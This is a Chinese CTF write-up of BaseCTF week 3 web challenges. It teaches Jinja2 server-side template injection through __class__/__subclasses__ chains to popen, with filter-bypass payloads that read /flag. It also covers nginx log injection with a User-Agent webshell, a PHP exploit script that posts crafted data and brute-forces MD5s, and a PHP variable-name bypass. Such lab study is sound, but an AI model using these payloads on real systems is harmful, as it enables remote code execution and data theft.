BaseCTF_web_week3
复读机

输入的东西会在下方显示出来,wp说是简单的SSTI,这里来学习一下SSTI
SSTI模板注入
根据My4n师傅的《超详细SSTI模板注入漏洞原理讲解_ssti注入-CSDN博客》写的
用户的输入返回时会经过一个模板渲染,SSTI漏洞就是用户插入了可以破坏模板的语句,导致了敏感信息泄露、rce等问题。
不同的语言会有不同的模板框架。
在这些框架中存在很多类,包括可以做到RCE的类。
所以我们的目标就是要通过模板操作到可以进行RCE的类
那么我们输入什么才会被当成模板注入呢?
因为模板渲染的时候会把"{{}}"包裹的内容当做变量解析替换。比如,{{2*2}}会被解析成4所以,我们需要用 {{恶意代码}} 的形式来进行SSTI
(所以{{2*2}}也被用作检测SSTI漏洞的方法)
知道了这些就可以通过魔术方法,找到rce的类并rce获取flag
__class__ :返回类型所属的对象。
__base__ :返回该对象所继承的父类
__mro__ :返回该对象的所有父类
__subclasses__() 获取当前类的所有子类
__init__ 类的初始化方法
__globals__ 对包含(保存)函数全局变量的字典的引用
假设我们知道一个当前类,通过__class__返回对象,然后用__mro__或者__base__返回父类,直到父类为object类(所有的类都是object类的子类),再用__sublasses__返回所有的子类,这样就能找到存在rce的类啦!
以下是一些当前类的表示方式
''.__class__().__class__[].__class__"".__class__{}.__class__
(ctfshow_web361)

所以我们可以构造{{''.__class__.__base__.__subclasses__}}查看所有类
可以进行rce的类是——"os._wrap_close",所以我们需要找到这个类的序号
可以复制粘贴去记事本,搜索os._wrap_close一下具体的位置(一般在130多)我这里是132

之后用__init__初始化这个类,用__globals__寻找popen函数后可以直接命令执行,记得最后要加一个read()
构造
?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat%20/flag').read()}}
这个格式稍微要记一下,目前只知道可以用os._wrap_close的popen
popen后的括号里直接写命令,不需要system

说了这么多,也只是浅浅入门SSTI,之后还会有关于SSTI的绕过,这道复读机就是
回到原题,这里我就整理一下官方wp(前面写的太多了)
1.是过滤了{{}}、替换成{%print%}
3.用"[]"替换"."
2.过滤了斜杠和反斜杠,要读取flag只能通过其他函数拼凑一个"/"
有三种方法
利用 chr 函数来构造出一个命令
(第一行让chr字符串等于chr函数)
(第二行让cmd等于cat /flag)
(第三行就正常输出)
BaseCTF{% set chr= ''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['_''_bui''ltins_''_']['chr']%}
{% set cmd='cat '~chr(47)~'flag' %}
{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen'](cmd)['rea''d']())%}
利用环境变量的值
查看环境变量,可以看到 OLDPWD=/
直接利用它来切换到根目录,然后再读flag
BaseCTF{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen']('cd $OLDPWD;cat flag')['rea''d']())%}
利用 expr substr 切割出一个 /
pwd 中的第一个字符就是 / ,那用 expr substr 切割出来后,之后就可以像上一个方法那样切换到根目录然后读 flag 了
BaseCTF{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen']('a=`pwd`;a=`expr substr $a 1 1`;cd $a;cat flag')['rea''d']())%}
滤个不停

有几层过滤,终点是include()说明这里最终要往文件包含靠。
我们先一层一层看
第一层很简单,就是post一个HelloWorld。

第二层是一个匹配过滤,就是说我们上传Datch的参数必须要包含's', 'e', 'v', 'a', 'n', 'x', 'r', 'o'所有字母,并且要做到你上传的参数能够执行文件包含。
而且后面还过滤了很多伪协议,这里只能试试日志注入了
日志注入
(这里是我之前写的关于日志注入的笔记)

令人惊喜的是
日志注入要上传的Datch=/var/log/nginx/access.log,居然包含了上面所有的字母,看来就是这么个考点
我们在ua上传一句话木马,并构造/?Datch=/var/log/nginx/access.log,进行日志注入,然后就可以命令执行啦

玩原神玩的

分析一下代码
首先是一个$len,我们要上传len,使len[]的长度和array[]的长度相等。
但是我们并不知道len的长度为多少,不过连续post数组就会默认添加到后一位
但是有几位呢?
(这里直接跳了tip,比较简单)

之后能要post两个m,一个值为100%,第二个是love100%加上第一个值的md5哈希值
post的时候记得url编码一下

最后得出这么多md5值,分别就是flag的每一个的字符的md值
这里可以写一个脚本爆破,思路是这样的
循环遍历每一个字母,如果字母的md5值与位置数的异或等于之前给出的md5值,那么就确定了一个flag的字母。
脚本如下(官方脚本)
for ($ii = 0; $ii < count($md5_array); $ii++) {for ($ascii = 0; $ascii < 256; $ascii++) {if (md5($ascii ^ $ii) === $md5_array[$ii]) {$flag .= chr($ascii);break;}}
}
exp
<?php
highlight_file(__FILE__);
include 'flag.php';$challenge_url = "http://challenge.basectf.fun:42801/?";
$post = "";
for ($i = 0;$i < 45;$i++) {$post .= "len[]=" . $i . "&";
} // $_POST['len'] == sizeof($array)$get = "tip=" . "我要玩原神"; // $tip != "我要玩原神"$post .= "m[]=" . urlencode("100%") . "&m[]=" . urlencode("love100%" . md5("100%"));
echo '<br>' . 'URL: ' . $challenge_url . $get . '<br>';
echo 'POST Data: ' . $post . '<br>';$curl = curl_init();curl_setopt_array($curl, [CURLOPT_URL => $challenge_url . $get,CURLOPT_RETURNTRANSFER => true,CURLOPT_ENCODING => '',CURLOPT_MAXREDIRS => 10,CURLOPT_TIMEOUT => 30,CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,CURLOPT_CUSTOMREQUEST => 'POST',CURLOPT_POSTFIELDS => $post,CURLOPT_HTTPHEADER => ['Content-Type: application/x-www-form-urlencoded',],
]);$response = curl_exec($curl);
$err = curl_error($curl);curl_close($curl);if ($err) die('cURL Error #:' . $err);
preg_match('/\[\"(.*?)\"\]/', $response, $matches);if (empty($matches)) die("Invalid JSON");
$json = '["' . $matches[1] . '"]';
echo "MD5 Array: " . $json . '<br>';
$md5_array = json_decode($json, true);
$flag = '';for ($ii = 0; $ii < count($md5_array); $ii++) {for ($ascii = 0; $ascii < 256; $ascii++) {if (md5($ascii ^ $ii) === $md5_array[$ii]) {$flag .= chr($ascii);break;}}
}echo "Flag: " . $flag;
EZ_PHP_Jail

首先是GET一个Jail_by.Happy,这里估计是一个php变量名的考点
php非法字符转化规则
php在8.0版本之前,传变量的时候如果变量含有空格、"+"、"."、"[",这些会变成"_"
但是如果第一个是"[",那么后面的字符就不会被改变
这里就成功绕过了
然后是一个绕过,绕过Jail变量的参数
过滤了$ ` c a s require include,说明不能使用cat,tac,和文件包含
不过文件包含还有highlight_file可以用
还有很多读目录函数没用,比如print_r(glob("/*"));读取根目录

[4]是flag
我们构造
?Jail[by.Happy=highlight_file(glob("/*")[4]);

奇怪的是,官方wp里给出的是
?Jail[by.Happy=highlight_file(glob("/f*")[0]);
也可以读取flag,有没有大佬知道这个是怎么回事QAQ
小结
本来想week3和4一起写的,谁知道SSTI写了这么多QAQ
主要涉及到的知识点有SSTI、日志注入、命令执行、php字符非法字符转化,学到了新东西也复习到了旧东西
相关文章:
BaseCTF_web_week3
复读机 输入的东西会在下方显示出来,wp说是简单的SSTI,这里来学习一下SSTI SSTI模板注入 根据My4n师傅的《超详细SSTI模板注入漏洞原理讲解_ssti注入-CSDN博客》写的 用户的输入返回时会经过一个模板渲染,SSTI漏洞就是用户插入了可以破坏模板…...
模型数据算法概论
模型数据算法是一类使用数据来构建、优化或训练数学模型的算法,常用于数据科学、机器学习和人工智能领域。它们的核心目标是从数据中提取模式或关系,以便在预测、分类或优化任务中应用。以下是一个简要的概述: 1. 模型 模型是用来描述数据特…...
什么是3DEXPERIENCE SOLIDWORKS,它有哪些角色和功能?
将业界领先的 SOLIDWORKS 3D CAD 解决方案连接到基于单一云端产品开发环境 3DEXPERIENCE 平台。您的团队、数据和流程全部连接到一个平台进行高效的协作工作,从而能快速的做出更好的决策。 目 录: ★ 1 什么是3DEXPERIENCE SOLIDWORKS ★ 2 3DEXPERIE…...
Sigrity System SI Parallel Bus Analysis模式进行DDR3仿真分析-传输线模型
Sigrity System SI Parallel Bus Analysis模式进行DDR3仿真分析-传输线模型 Sigrity System SI Parallel Bus Analysis模式提供了简易的已搭建好的模板,方便用户直接在模板上替换数据文件进行仿真分析,下面介绍pba_simple_em模板的使用,具体操作如下 双击启动System SI启动界…...
MacOS下PostIn安装配置指南
PostIn是一款开源免费的接口管理工具, 下面介绍私有部署版本的MacOS下安装与配置。私有部署版本更适合有严格数据安全要求的企业,实现对数据和系统的完全控制。   1、MacOS服务端安装 Mac安装包下载地址:下载Mac安…...
【Leetcode 每日一题】2545. 根据第 K 场考试的分数排序
问题背景 班里有 m m m 位学生,共计划组织 n n n 场考试。给你一个下标从 0 0 0 开始、大小为 m n m \times n mn 的整数矩阵 s c o r e score score,其中每一行对应一位学生,而 s c o r e [ i ] [ j ] score[i][j] score[i][j] 表示…...
一文速通 IIC I2C子系统驱动 通信协议原理 硬件 时序 深度剖析
本文作为一个引入,作用是让读者理解熟知IIC协议关键内容,结合实际手册内容,深度解析协议本质,作为后续嵌入式linux驱动IIC子系统的一个铺垫。 目录 1. 硬件连接 2. IIC传输时序 2.1.写操作 2.2.读操作 2.3.I2C信号 3.IIC协议…...
HarmonyOS(72)事件拦截处理详解
事件拦截 1、参考资料2、HitTestMode3、onTouchIntercept、onTouch、onClick事件执行顺序3.1、系统默认事件传递顺序3.2、子组件拦截事件1、参考资料 HarmonyOS(71) 自定义事件分发之TouchTestStrategy使用说明HarmonyOS(70) ArkUI 事件分发拦截,事件冲突解决方案HitTestModea…...
docker(wsl)命令 帮助文档
WSL wsl使用教程 wsl -l -v 列出所有已安装的 Linux 发行版 wsl -t Ubuntu-22.04 --shutdown 关闭所有正在运行的WSL发行版。如果你只想关闭特定的发行版 wsl -d Ubuntu-22.04 登录到Ubuntu环境 wsl --list --running 查看正在wsl中运行的linux发行版 wsl --unregister (系统名…...
nginx 拦截指定ip访问指定 url
nginx 拦截指定ip访问指定 url 这里需要注意的是一定要用$http_x_forwarded_for 这个变量 upstream myapp1 { # 定义一个名为myapp1的服务器组 server backend1.example.com weight5; # 添加一个服务器,并设置权重为5 server backend2.example.com; # 添加另…...
git仓库的基本概念和流程以及一些基本命令
什么是版本库?版本库又名仓库,英文名repository,你可以简单的理解一个目录,这个目录里面的所有文件都可以被Git管理起来,每个文件的修改,删除,Git都能跟踪,以便任何时刻都可以追踪历史ÿ…...
Intel-ECI之Codesys PLC + Ethercat 远端IO + Codesys IDE编程
目录 一、 准备工作 二、安装Codesys 软件 PLC 三、 使用Codesys IDE 编程测试 CODESYS* 是领先的独立于制造商的 IEC 61131-3 自动化软件,适用于工程控制系统。它用于 Intel Edge Controls for Industrial(Intel ECI 或 ECI),…...
互联网医院系统,互联网医院系统源码可供
互联网医院系统开发,其功能特点和优势在于实现了线上医疗服务与信息技术的深度融合。此系统旨在构建一个更为高效、便捷的医疗服务平台,提升患者的就医体验和医疗服务的效率。 一、功能特点 1、预约挂号与在线咨询 患者可通过系统进行预约挂号…...
Marin说PCB之POC电路layout设计仿真案例---06
我们书接上回啊,对于上面的出现原因我这个美女同事安娜说会不会你把POC电感下面的相邻两层的CUT_OUT的尺寸再去加大一些会不会变得更好呢?这个难道说是真的有用吗?小编我先自己算一卦看下结果。 本期文章我们就接着验证通过改善我们的单板POC…...
windwos defender实现白名单效果(除了指定应用或端口其它一律禁止)禁止服务器上网
一、应用场景说明 当我们的一台windows服务器中毒,变成别人肉鸡,不断向外请示非法网站或攻击其它服务器。 要彻底清除相关木马或病毒往往需要的时间比较长,比较有效的方法是禁止服务器主动向外发包除了网站端口和远程程序除外。 其实这就是一…...
Fiddler勾选https后google浏览器网页访问不可用
一、说明 最近电脑重新安装系统后,之前的所有工具都需要重新安装和配置,有个项目需要抓包https包查看一下请求的内容,通过Fiddler工具,但是开启后,发现https的无法抓取,同时google浏览器也不无法访问互联网…...
机器视觉检测相机基础知识 | 颜色 | 光源 | 镜头 | 分辨率 / 精度 / 公差
注:本文为 “keyence 视觉沙龙中机器视觉检测基础知识” 文章合辑。 机器视觉检测基础知识(一)颜色篇 视觉检测硬件构成的基本部分包括:处理器、相机、镜头、光源。 其中,和光源相关的最重要的两个参数就是光源颜色和…...
解决pytorch安装中的三个错误
查明已安装python版本为3.12.7后,创建虚拟环境。 报错内容:ArgumentError: one of the arguments -n/–name -p/–prefix is required 解决方式: 输入 conda create -n pytorch python3.8即可安装成功。 参考文章:https://blo…...
用Python开发高级游戏:实现3D迷宫游戏
Python虽然被认为是一门简单易学的语言,但它在游戏开发领域同样具有强大的潜力,尤其是结合诸如Pygame、Panda3D、PyOpenGL等框架,可以开发出复杂的游戏。 在本文中,我们将通过一个示例,介绍如何使用Python开发一个高级3D迷宫游戏。本文使用的框架是 Panda3D,一个专为3D游…...
基于 uniapp 开发 android 播放 webrtc 流
一、播放rtsp协议流 如果 webrtc 流以 rtsp 协议返回,流地址如:rtsp://127.0.0.1:5115/session.mpg,uniapp的 <video> 编译到android上直接就能播放,但通常会有2-3秒的延迟。 二、播放webrtc协议流 如果 webrtc 流以 webrt…...
Modon与Montage Hotels Resorts合作在埃及拉斯伊尔赫克马引入超豪华酒店品牌
Montage Ras El Hekma(拉斯伊尔赫克马蒙太奇酒店)将在该地中海景区推出首批对外开放销售的品牌住宅,也是该地区的首个Montage(蒙太奇)度假村 总部位于阿布扎比的Modon Holding与Montage Hotels & Resorts…...
基于RT-Thread与STM32的机器人底盘驱动控制模型设计与实现
1. 项目概述与核心价值最近在做一个机器人底盘的项目,客户要求既要实时性高,又要能方便地调试和后期维护。一开始想着直接用裸机写个状态机,但考虑到后续要加传感器融合、路径规划这些复杂算法,裸机那套调度和资源管理就有点捉襟见…...
电动汽车高压系统狭窄空间高精度电流电压测量方案解析
1. 项目概述:当高压测量遇上“螺蛳壳里做道场”在电动汽车的研发测试领域,尤其是实车道路测试阶段,有一个场景让很多工程师头疼不已:如何在发动机舱、底盘或电池包附近那些错综复杂、空间逼仄的线束通道里,精准地测量高…...
公域卖课佣金高、粉丝留不住?这套私域打法,完课率提升了3倍
公域卖课的两大痛点痛点一:佣金太高,利润被吃掉一大块。相信在公域卖过课的朋友都有体会。平台抽成、分销佣金、投流成本……七七八八算下来,到手的钱可能连一半都不到。你辛辛苦苦打磨的课程,大头却被别人拿走了。这感觉…...
蓝桥杯嵌入式第十届真题复盘:从CubeMX配置到EEPROM读写,我是如何一步步踩坑又爬出来的
蓝桥杯嵌入式第十届真题实战复盘:从CubeMX配置到EEPROM读写的深度解析 去年参加蓝桥杯嵌入式比赛的经历,至今回想起来仍让我心有余悸。第十届真题中的LED模块和EEPROM读写部分,堪称"嵌入式开发者的噩梦"。记得当时在实验室熬到凌晨…...
Swift底层多线程:POSIX线程封装与安全并发实践
1. 项目概述:当Swift遇见POSIX线程如果你在Swift里用过DispatchQueue或者Thread,有没有想过它们背后到底是怎么运作的?特别是当你的应用需要处理高并发、低延迟的任务,或者需要在Linux服务器上跑一个Swift后端服务时,仅…...
AI Agent Harness Engineering 的安全与伦理挑战:我们如何控制所创造之物?
AI Agent Harness Engineering 的安全与伦理挑战:我们如何控制所创造之物? 关键词:AI Agent 治理、Harness Engineering、对齐问题、灾难性遗忘、人类反馈强化学习、鲁棒性、责任归属 摘要:当我们把AI从“只会做一件事的工具人”升…...
curtains.js数学工具详解:Vec2、Vec3、Mat4和Quat的使用方法
curtains.js数学工具详解:Vec2、Vec3、Mat4和Quat的使用方法 【免费下载链接】curtainsjs curtains.js is a lightweight vanilla WebGL javascript library that turns HTML DOM elements into interactive textured planes. 项目地址: https://gitcode.com/gh_m…...
LDDC歌词工具:5分钟掌握专业级歌词下载与格式转换完整指南
LDDC歌词工具:5分钟掌握专业级歌词下载与格式转换完整指南 【免费下载链接】LDDC 简单易用的精准歌词(逐字歌词/卡拉OK歌词)下载匹配工具|A simple and user-friendly tool for downloading and matching precise lyrics (word-by-word lyrics/Karaoke lyrics) 项…...
如何在5分钟内解锁所有Steam成就:Steam Achievement Manager完整使用指南
如何在5分钟内解锁所有Steam成就:Steam Achievement Manager完整使用指南 【免费下载链接】SteamAchievementManager A manager for game achievements in Steam. 项目地址: https://gitcode.com/gh_mirrors/st/SteamAchievementManager 还在为Steam游戏中那…...
